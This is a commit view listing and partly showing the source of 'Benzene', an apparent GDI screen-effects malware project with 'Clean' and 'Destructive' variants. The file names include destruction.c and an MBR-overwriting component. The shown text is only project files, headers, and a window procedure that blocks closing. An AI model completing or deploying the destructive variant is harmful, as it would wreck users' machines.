Add files using upload-large-folder tool
Browse filesThis view is limited to 50 files because it contains too many changes.
See raw diff
- src/Benzene-main/Clean/Benzene.sln +25 -0
- src/Benzene-main/Clean/Benzene/Benzene.vcxproj +131 -0
- src/Benzene-main/Clean/Benzene/Benzene.vcxproj.filters +78 -0
- src/Benzene-main/Clean/Benzene/Benzene.vcxproj.user +4 -0
- src/Benzene-main/Clean/Benzene/benzene.h +29 -0
- src/Benzene-main/Clean/Benzene/callbacks.c +59 -0
- src/Benzene-main/Clean/Benzene/callbacks.h +29 -0
- src/Benzene-main/Clean/Benzene/color.c +142 -0
- src/Benzene-main/Clean/Benzene/color.h +18 -0
- src/Benzene-main/Clean/Benzene/def.h +59 -0
- src/Benzene-main/Clean/Benzene/extra_payloads.c +247 -0
- src/Benzene-main/Clean/Benzene/extra_payloads.h +28 -0
- src/Benzene-main/Clean/Benzene/main.c +137 -0
- src/Benzene-main/Clean/Benzene/math.c +59 -0
- src/Benzene-main/Clean/Benzene/math.h +33 -0
- src/Benzene-main/Clean/Benzene/payloads.c +1918 -0
- src/Benzene-main/Clean/Benzene/payloads.h +106 -0
- src/Benzene-main/Clean/Benzene/resource.h +14 -0
- src/Benzene-main/Clean/Benzene/resource1.h +14 -0
- src/Benzene-main/Clean/Benzene/resource2.h +19 -0
- src/Benzene-main/Clean/Benzene/threads.c +17 -0
- src/Benzene-main/Clean/Benzene/threads.h +8 -0
- src/Benzene-main/Destructive/Benzene.sln +25 -0
- src/Benzene-main/Destructive/Benzene/Benzene.vcxproj +128 -0
- src/Benzene-main/Destructive/Benzene/Benzene.vcxproj.filters +75 -0
- src/Benzene-main/Destructive/Benzene/Benzene.vcxproj.user +4 -0
- src/Benzene-main/Destructive/Benzene/benzene.h +30 -0
- src/Benzene-main/Destructive/Benzene/callbacks.c +59 -0
- src/Benzene-main/Destructive/Benzene/callbacks.h +29 -0
- src/Benzene-main/Destructive/Benzene/color.c +142 -0
- src/Benzene-main/Destructive/Benzene/color.h +18 -0
- src/Benzene-main/Destructive/Benzene/def.h +59 -0
- src/Benzene-main/Destructive/Benzene/destruction.c +767 -0
- src/Benzene-main/Destructive/Benzene/destruction.h +37 -0
- src/Benzene-main/Destructive/Benzene/extra_payloads.c +247 -0
- src/Benzene-main/Destructive/Benzene/extra_payloads.h +28 -0
- src/Benzene-main/Destructive/Benzene/main.c +159 -0
- src/Benzene-main/Destructive/Benzene/math.c +59 -0
- src/Benzene-main/Destructive/Benzene/math.h +33 -0
- src/Benzene-main/Destructive/Benzene/payloads.c +1918 -0
- src/Benzene-main/Destructive/Benzene/payloads.h +106 -0
- src/Benzene-main/Destructive/Benzene/resource.h +14 -0
- src/Benzene-main/Destructive/Benzene/threads.c +17 -0
- src/Benzene-main/Destructive/Benzene/threads.h +8 -0
- src/Benzene-main/Destructive/BenzeneMBR/Create.bat +46 -0
- src/Benzene-main/Destructive/BenzeneMBR/Data/Image/png2bin.py +55 -0
- src/Benzene-main/Destructive/BenzeneMBR/Data/Song/midi2bin.mid +0 -0
- src/Benzene-main/Destructive/BenzeneMBR/Data/Song/midi2bin.py +24 -0
- src/Benzene-main/Destructive/BenzeneMBR/Data/Song/midi2bin_MEMZ.mid +0 -0
- src/Benzene-main/Destructive/BenzeneMBR/Data/Source/Animation/Image/drawIntroFrame.asm +26 -0
src/Benzene-main/Clean/Benzene.sln
ADDED
|
@@ -0,0 +1,25 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
|
| 2 |
+
Microsoft Visual Studio Solution File, Format Version 12.00
|
| 3 |
+
# Visual Studio Version 17
|
| 4 |
+
VisualStudioVersion = 17.2.32317.152
|
| 5 |
+
MinimumVisualStudioVersion = 10.0.40219.1
|
| 6 |
+
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Benzene", "Benzene\Benzene.vcxproj", "{3A2DBCF5-A3AB-456D-8367-41D1F1E5E2B4}"
|
| 7 |
+
EndProject
|
| 8 |
+
Global
|
| 9 |
+
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
| 10 |
+
Release|x64 = Release|x64
|
| 11 |
+
Release|x86 = Release|x86
|
| 12 |
+
EndGlobalSection
|
| 13 |
+
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
| 14 |
+
{3A2DBCF5-A3AB-456D-8367-41D1F1E5E2B4}.Release|x64.ActiveCfg = Release|x64
|
| 15 |
+
{3A2DBCF5-A3AB-456D-8367-41D1F1E5E2B4}.Release|x64.Build.0 = Release|x64
|
| 16 |
+
{3A2DBCF5-A3AB-456D-8367-41D1F1E5E2B4}.Release|x86.ActiveCfg = Release|Win32
|
| 17 |
+
{3A2DBCF5-A3AB-456D-8367-41D1F1E5E2B4}.Release|x86.Build.0 = Release|Win32
|
| 18 |
+
EndGlobalSection
|
| 19 |
+
GlobalSection(SolutionProperties) = preSolution
|
| 20 |
+
HideSolutionNode = FALSE
|
| 21 |
+
EndGlobalSection
|
| 22 |
+
GlobalSection(ExtensibilityGlobals) = postSolution
|
| 23 |
+
SolutionGuid = {B9ADE6F0-3297-4736-88CE-1135D1B5CAAC}
|
| 24 |
+
EndGlobalSection
|
| 25 |
+
EndGlobal
|
src/Benzene-main/Clean/Benzene/Benzene.vcxproj
ADDED
|
@@ -0,0 +1,131 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
<?xml version="1.0" encoding="utf-8"?>
|
| 2 |
+
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
| 3 |
+
<ItemGroup Label="ProjectConfigurations">
|
| 4 |
+
<ProjectConfiguration Include="Release|Win32">
|
| 5 |
+
<Configuration>Release</Configuration>
|
| 6 |
+
<Platform>Win32</Platform>
|
| 7 |
+
</ProjectConfiguration>
|
| 8 |
+
<ProjectConfiguration Include="Release|x64">
|
| 9 |
+
<Configuration>Release</Configuration>
|
| 10 |
+
<Platform>x64</Platform>
|
| 11 |
+
</ProjectConfiguration>
|
| 12 |
+
</ItemGroup>
|
| 13 |
+
<ItemGroup>
|
| 14 |
+
<ClInclude Include="callbacks.h" />
|
| 15 |
+
<ClInclude Include="color.h" />
|
| 16 |
+
<ClInclude Include="def.h" />
|
| 17 |
+
<ClInclude Include="extra_payloads.h" />
|
| 18 |
+
<ClInclude Include="math.h" />
|
| 19 |
+
<ClInclude Include="benzene.h" />
|
| 20 |
+
<ClInclude Include="payloads.h" />
|
| 21 |
+
<ClInclude Include="resource.h" />
|
| 22 |
+
<ClInclude Include="threads.h" />
|
| 23 |
+
</ItemGroup>
|
| 24 |
+
<ItemGroup>
|
| 25 |
+
<ClCompile Include="callbacks.c" />
|
| 26 |
+
<ClCompile Include="color.c" />
|
| 27 |
+
<ClCompile Include="extra_payloads.c" />
|
| 28 |
+
<ClCompile Include="main.c" />
|
| 29 |
+
<ClCompile Include="math.c" />
|
| 30 |
+
<ClCompile Include="payloads.c" />
|
| 31 |
+
<ClCompile Include="threads.c" />
|
| 32 |
+
</ItemGroup>
|
| 33 |
+
<ItemGroup>
|
| 34 |
+
<Image Include="..\..\..\..\..\Downloads\Benzene2.ico">
|
| 35 |
+
<DeploymentContent>true</DeploymentContent>
|
| 36 |
+
</Image>
|
| 37 |
+
</ItemGroup>
|
| 38 |
+
<PropertyGroup Label="Globals">
|
| 39 |
+
<VCProjectVersion>16.0</VCProjectVersion>
|
| 40 |
+
<Keyword>Win32Proj</Keyword>
|
| 41 |
+
<ProjectGuid>{3a2dbcf5-a3ab-456d-8367-41d1f1e5e2b4}</ProjectGuid>
|
| 42 |
+
<RootNamespace>Benzene</RootNamespace>
|
| 43 |
+
<WindowsTargetPlatformVersion>7.0</WindowsTargetPlatformVersion>
|
| 44 |
+
</PropertyGroup>
|
| 45 |
+
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
| 46 |
+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
| 47 |
+
<ConfigurationType>Application</ConfigurationType>
|
| 48 |
+
<UseDebugLibraries>false</UseDebugLibraries>
|
| 49 |
+
<PlatformToolset>v141_xp</PlatformToolset>
|
| 50 |
+
<WholeProgramOptimization>true</WholeProgramOptimization>
|
| 51 |
+
<CharacterSet>Unicode</CharacterSet>
|
| 52 |
+
</PropertyGroup>
|
| 53 |
+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
| 54 |
+
<ConfigurationType>Application</ConfigurationType>
|
| 55 |
+
<UseDebugLibraries>false</UseDebugLibraries>
|
| 56 |
+
<PlatformToolset>v141_xp</PlatformToolset>
|
| 57 |
+
<WholeProgramOptimization>true</WholeProgramOptimization>
|
| 58 |
+
<CharacterSet>Unicode</CharacterSet>
|
| 59 |
+
</PropertyGroup>
|
| 60 |
+
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
| 61 |
+
<ImportGroup Label="ExtensionSettings">
|
| 62 |
+
</ImportGroup>
|
| 63 |
+
<ImportGroup Label="Shared">
|
| 64 |
+
</ImportGroup>
|
| 65 |
+
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
| 66 |
+
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
| 67 |
+
</ImportGroup>
|
| 68 |
+
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
|
| 69 |
+
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
| 70 |
+
</ImportGroup>
|
| 71 |
+
<PropertyGroup Label="UserMacros" />
|
| 72 |
+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
| 73 |
+
<LinkIncremental>false</LinkIncremental>
|
| 74 |
+
<TargetName>$(ProjectName) x86 Clean</TargetName>
|
| 75 |
+
</PropertyGroup>
|
| 76 |
+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
| 77 |
+
<LinkIncremental>false</LinkIncremental>
|
| 78 |
+
<TargetName>$(ProjectName) x64 Clean</TargetName>
|
| 79 |
+
</PropertyGroup>
|
| 80 |
+
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
| 81 |
+
<ClCompile>
|
| 82 |
+
<WarningLevel>Level3</WarningLevel>
|
| 83 |
+
<FunctionLevelLinking>true</FunctionLevelLinking>
|
| 84 |
+
<IntrinsicFunctions>true</IntrinsicFunctions>
|
| 85 |
+
<SDLCheck>true</SDLCheck>
|
| 86 |
+
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
| 87 |
+
<ConformanceMode>true</ConformanceMode>
|
| 88 |
+
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
| 89 |
+
<EnableFiberSafeOptimizations>true</EnableFiberSafeOptimizations>
|
| 90 |
+
<TreatWarningAsError>true</TreatWarningAsError>
|
| 91 |
+
<FavorSizeOrSpeed>Speed</FavorSizeOrSpeed>
|
| 92 |
+
<CallingConvention>StdCall</CallingConvention>
|
| 93 |
+
<FloatingPointModel>Fast</FloatingPointModel>
|
| 94 |
+
</ClCompile>
|
| 95 |
+
<Link>
|
| 96 |
+
<SubSystem>Windows</SubSystem>
|
| 97 |
+
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
| 98 |
+
<OptimizeReferences>true</OptimizeReferences>
|
| 99 |
+
<GenerateDebugInformation>false</GenerateDebugInformation>
|
| 100 |
+
<AdditionalDependencies>shlwapi.lib;winmm.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
| 101 |
+
<UACExecutionLevel>AsInvoker</UACExecutionLevel>
|
| 102 |
+
</Link>
|
| 103 |
+
</ItemDefinitionGroup>
|
| 104 |
+
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
| 105 |
+
<ClCompile>
|
| 106 |
+
<WarningLevel>Level3</WarningLevel>
|
| 107 |
+
<FunctionLevelLinking>true</FunctionLevelLinking>
|
| 108 |
+
<IntrinsicFunctions>true</IntrinsicFunctions>
|
| 109 |
+
<SDLCheck>true</SDLCheck>
|
| 110 |
+
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
| 111 |
+
<ConformanceMode>true</ConformanceMode>
|
| 112 |
+
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
| 113 |
+
<EnableFiberSafeOptimizations>true</EnableFiberSafeOptimizations>
|
| 114 |
+
<TreatWarningAsError>true</TreatWarningAsError>
|
| 115 |
+
<FavorSizeOrSpeed>Speed</FavorSizeOrSpeed>
|
| 116 |
+
<CallingConvention>StdCall</CallingConvention>
|
| 117 |
+
<FloatingPointModel>Fast</FloatingPointModel>
|
| 118 |
+
</ClCompile>
|
| 119 |
+
<Link>
|
| 120 |
+
<SubSystem>Windows</SubSystem>
|
| 121 |
+
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
| 122 |
+
<OptimizeReferences>true</OptimizeReferences>
|
| 123 |
+
<GenerateDebugInformation>false</GenerateDebugInformation>
|
| 124 |
+
<AdditionalDependencies>shlwapi.lib;winmm.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
| 125 |
+
<UACExecutionLevel>AsInvoker</UACExecutionLevel>
|
| 126 |
+
</Link>
|
| 127 |
+
</ItemDefinitionGroup>
|
| 128 |
+
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
| 129 |
+
<ImportGroup Label="ExtensionTargets">
|
| 130 |
+
</ImportGroup>
|
| 131 |
+
</Project>
|
src/Benzene-main/Clean/Benzene/Benzene.vcxproj.filters
ADDED
|
@@ -0,0 +1,78 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
<?xml version="1.0" encoding="utf-8"?>
|
| 2 |
+
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
| 3 |
+
<ItemGroup>
|
| 4 |
+
<Filter Include="ソース ファイル">
|
| 5 |
+
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
| 6 |
+
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
| 7 |
+
</Filter>
|
| 8 |
+
<Filter Include="ヘッダー ファイル">
|
| 9 |
+
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
| 10 |
+
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
| 11 |
+
</Filter>
|
| 12 |
+
<Filter Include="リソース">
|
| 13 |
+
<UniqueIdentifier>{b4e88c38-7352-4c2b-ba3f-1690e0e5a987}</UniqueIdentifier>
|
| 14 |
+
</Filter>
|
| 15 |
+
</ItemGroup>
|
| 16 |
+
<ItemGroup>
|
| 17 |
+
<ClInclude Include="callbacks.h">
|
| 18 |
+
<Filter>ヘッダー ファイル</Filter>
|
| 19 |
+
</ClInclude>
|
| 20 |
+
<ClInclude Include="threads.h">
|
| 21 |
+
<Filter>ヘッダー ファイル</Filter>
|
| 22 |
+
</ClInclude>
|
| 23 |
+
<ClInclude Include="color.h">
|
| 24 |
+
<Filter>ヘッダー ファイル</Filter>
|
| 25 |
+
</ClInclude>
|
| 26 |
+
<ClInclude Include="def.h">
|
| 27 |
+
<Filter>ヘッダー ファイル</Filter>
|
| 28 |
+
</ClInclude>
|
| 29 |
+
<ClInclude Include="extra_payloads.h">
|
| 30 |
+
<Filter>ヘッダー ファイル</Filter>
|
| 31 |
+
</ClInclude>
|
| 32 |
+
<ClInclude Include="math.h">
|
| 33 |
+
<Filter>ヘッダー ファイル</Filter>
|
| 34 |
+
</ClInclude>
|
| 35 |
+
<ClInclude Include="benzene.h">
|
| 36 |
+
<Filter>ヘッダー ファイル</Filter>
|
| 37 |
+
</ClInclude>
|
| 38 |
+
<ClInclude Include="payloads.h">
|
| 39 |
+
<Filter>ヘッダー ファイル</Filter>
|
| 40 |
+
</ClInclude>
|
| 41 |
+
<ClInclude Include="resource.h">
|
| 42 |
+
<Filter>リソース</Filter>
|
| 43 |
+
</ClInclude>
|
| 44 |
+
</ItemGroup>
|
| 45 |
+
<ItemGroup>
|
| 46 |
+
<ClCompile Include="callbacks.c">
|
| 47 |
+
<Filter>ソース ファイル</Filter>
|
| 48 |
+
</ClCompile>
|
| 49 |
+
<ClCompile Include="color.c">
|
| 50 |
+
<Filter>ソース ファイル</Filter>
|
| 51 |
+
</ClCompile>
|
| 52 |
+
<ClCompile Include="extra_payloads.c">
|
| 53 |
+
<Filter>ソース ファイル</Filter>
|
| 54 |
+
</ClCompile>
|
| 55 |
+
<ClCompile Include="main.c">
|
| 56 |
+
<Filter>ソース ファイル</Filter>
|
| 57 |
+
</ClCompile>
|
| 58 |
+
<ClCompile Include="math.c">
|
| 59 |
+
<Filter>ソース ファイル</Filter>
|
| 60 |
+
</ClCompile>
|
| 61 |
+
<ClCompile Include="payloads.c">
|
| 62 |
+
<Filter>ソース ファイル</Filter>
|
| 63 |
+
</ClCompile>
|
| 64 |
+
<ClCompile Include="threads.c">
|
| 65 |
+
<Filter>ソース ファイル</Filter>
|
| 66 |
+
</ClCompile>
|
| 67 |
+
</ItemGroup>
|
| 68 |
+
<ItemGroup>
|
| 69 |
+
<ResourceCompile Include="..\..\..\..\..\デスクトップ\Monoxide-main\Monoxide\Benzene.rc">
|
| 70 |
+
<Filter>リソース</Filter>
|
| 71 |
+
</ResourceCompile>
|
| 72 |
+
</ItemGroup>
|
| 73 |
+
<ItemGroup>
|
| 74 |
+
<Image Include="Benzene.ico">
|
| 75 |
+
<Filter>リソース</Filter>
|
| 76 |
+
</Image>
|
| 77 |
+
</ItemGroup>
|
| 78 |
+
</Project>
|
src/Benzene-main/Clean/Benzene/Benzene.vcxproj.user
ADDED
|
@@ -0,0 +1,4 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
<?xml version="1.0" encoding="utf-8"?>
|
| 2 |
+
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
| 3 |
+
<PropertyGroup />
|
| 4 |
+
</Project>
|
src/Benzene-main/Clean/Benzene/benzene.h
ADDED
|
@@ -0,0 +1,29 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#pragma once
|
| 2 |
+
#pragma warning( disable: 4152 )
|
| 3 |
+
#pragma warning( disable: 4201 )
|
| 4 |
+
|
| 5 |
+
#define RGBQUAD _RGBQUAD
|
| 6 |
+
#pragma warning( push, 0 )
|
| 7 |
+
#include <windows.h>
|
| 8 |
+
#pragma warning( pop )
|
| 9 |
+
#undef RGBQUAD
|
| 10 |
+
|
| 11 |
+
#include <accctrl.h>
|
| 12 |
+
#include <aclapi.h>
|
| 13 |
+
#include <stdio.h>
|
| 14 |
+
#include <math.h>
|
| 15 |
+
#include "def.h"
|
| 16 |
+
#include "math.h"
|
| 17 |
+
#include "color.h"
|
| 18 |
+
#include "callbacks.h"
|
| 19 |
+
#include "threads.h"
|
| 20 |
+
#include "payloads.h"
|
| 21 |
+
#include "extra_payloads.h"
|
| 22 |
+
|
| 23 |
+
#pragma region Public Variables
|
| 24 |
+
extern HWND hwndDesktop;
|
| 25 |
+
extern HDC hdcDesktop;
|
| 26 |
+
extern RECT rcScrBounds;
|
| 27 |
+
extern HHOOK hMsgHook;
|
| 28 |
+
extern INT nCounter;
|
| 29 |
+
#pragma endregion Public Variables
|
src/Benzene-main/Clean/Benzene/callbacks.c
ADDED
|
@@ -0,0 +1,59 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#include "benzene.h"
|
| 2 |
+
|
| 3 |
+
BOOL
|
| 4 |
+
CALLBACK
|
| 5 |
+
MonitorEnumProc(
|
| 6 |
+
_In_ HMONITOR hMonitor,
|
| 7 |
+
_In_ HDC hDC,
|
| 8 |
+
_In_ PRECT prcArea,
|
| 9 |
+
_In_ LPARAM lParam
|
| 10 |
+
)
|
| 11 |
+
{
|
| 12 |
+
UNREFERENCED_PARAMETER( hMonitor );
|
| 13 |
+
UNREFERENCED_PARAMETER( hDC );
|
| 14 |
+
UNREFERENCED_PARAMETER( lParam );
|
| 15 |
+
|
| 16 |
+
rcScrBounds.left = min( rcScrBounds.left, prcArea->left );
|
| 17 |
+
rcScrBounds.top = min( rcScrBounds.top, prcArea->top );
|
| 18 |
+
rcScrBounds.right = max( rcScrBounds.right, prcArea->right );
|
| 19 |
+
rcScrBounds.bottom = max( rcScrBounds.bottom, prcArea->bottom );
|
| 20 |
+
|
| 21 |
+
return TRUE;
|
| 22 |
+
}
|
| 23 |
+
|
| 24 |
+
LRESULT
|
| 25 |
+
CALLBACK
|
| 26 |
+
NoDestroyWndProc(
|
| 27 |
+
_In_ HWND hWnd,
|
| 28 |
+
_In_ DWORD dwMsg,
|
| 29 |
+
_In_ WPARAM wParam,
|
| 30 |
+
_In_ LPARAM lParam
|
| 31 |
+
)
|
| 32 |
+
{
|
| 33 |
+
switch ( dwMsg )
|
| 34 |
+
{
|
| 35 |
+
default:
|
| 36 |
+
return DefWindowProcW( hWnd, dwMsg, wParam, lParam );
|
| 37 |
+
case WM_DESTROY:
|
| 38 |
+
case WM_CLOSE:
|
| 39 |
+
case WM_QUIT:
|
| 40 |
+
return CALLBACK_NULL;
|
| 41 |
+
}
|
| 42 |
+
}
|
| 43 |
+
|
| 44 |
+
VOID
|
| 45 |
+
CALLBACK
|
| 46 |
+
TimerProc(
|
| 47 |
+
_In_ HWND hWnd,
|
| 48 |
+
_In_ UINT nMsg,
|
| 49 |
+
_In_ UINT nIDEvent,
|
| 50 |
+
_In_ DWORD dwTime
|
| 51 |
+
)
|
| 52 |
+
{
|
| 53 |
+
UNREFERENCED_PARAMETER( hWnd );
|
| 54 |
+
UNREFERENCED_PARAMETER( nMsg );
|
| 55 |
+
UNREFERENCED_PARAMETER( nIDEvent );
|
| 56 |
+
UNREFERENCED_PARAMETER( dwTime );
|
| 57 |
+
|
| 58 |
+
nCounter++;
|
| 59 |
+
}
|
src/Benzene-main/Clean/Benzene/callbacks.h
ADDED
|
@@ -0,0 +1,29 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#pragma once
|
| 2 |
+
#include "benzene.h"
|
| 3 |
+
|
| 4 |
+
BOOL
|
| 5 |
+
CALLBACK
|
| 6 |
+
MonitorEnumProc(
|
| 7 |
+
_In_ HMONITOR hMonitor,
|
| 8 |
+
_In_ HDC hDC,
|
| 9 |
+
_In_ PRECT prcArea,
|
| 10 |
+
_In_ LPARAM lParam
|
| 11 |
+
);
|
| 12 |
+
|
| 13 |
+
LRESULT
|
| 14 |
+
CALLBACK
|
| 15 |
+
NoDestroyWndProc(
|
| 16 |
+
_In_ HWND hWnd,
|
| 17 |
+
_In_ DWORD dwMsg,
|
| 18 |
+
_In_ WPARAM wParam,
|
| 19 |
+
_In_ LPARAM lParam
|
| 20 |
+
);
|
| 21 |
+
|
| 22 |
+
VOID
|
| 23 |
+
CALLBACK
|
| 24 |
+
TimerProc(
|
| 25 |
+
_In_ HWND hWnd,
|
| 26 |
+
_In_ UINT nMsg,
|
| 27 |
+
_In_ UINT nIDEvent,
|
| 28 |
+
_In_ DWORD dwTime
|
| 29 |
+
);
|
src/Benzene-main/Clean/Benzene/color.c
ADDED
|
@@ -0,0 +1,142 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#include "benzene.h"
|
| 2 |
+
|
| 3 |
+
HSLCOLOR
|
| 4 |
+
RGBToHSL(
|
| 5 |
+
_In_ RGBQUAD rgb
|
| 6 |
+
)
|
| 7 |
+
{
|
| 8 |
+
HSLCOLOR hsl;
|
| 9 |
+
|
